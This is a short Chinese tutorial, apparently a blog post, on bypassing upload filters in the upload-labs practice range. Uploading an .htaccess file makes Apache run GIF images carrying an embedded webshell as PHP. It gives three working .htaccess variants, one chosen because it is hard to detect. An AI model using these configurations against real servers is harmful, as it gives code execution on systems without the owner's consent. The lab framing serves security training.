声明:本文介绍的技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可传播使用相关技术及工具从事违法犯罪行为,一经发现直接上报国家安全机关处理,著作权归【爱国小白帽】所有
实验环境:
- PHPstudy
- php5.6以下不带nts的版本
- upload-labs-master上传漏洞靶场
- 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
原理:
.htaccess
文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride
指令来设置。
.htaccess文件内容
.htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。
第一种、虽然好用,但是会误伤其他正常文件,容易被发现
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
第三种、同1没太大区别
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
利用方式:上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
实验
1、选择upload-labs-master
的第四关上传写好的.htaccess
文件,这里我用的第二种方法,内容如下:
<FilesMatch "1.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
2、然后再上传写好的1.gif
文件
3、复制图片地址,打開新的网页成功显示
欢迎关注公众号,原创不易,转载请注明来源【爱国小白帽】????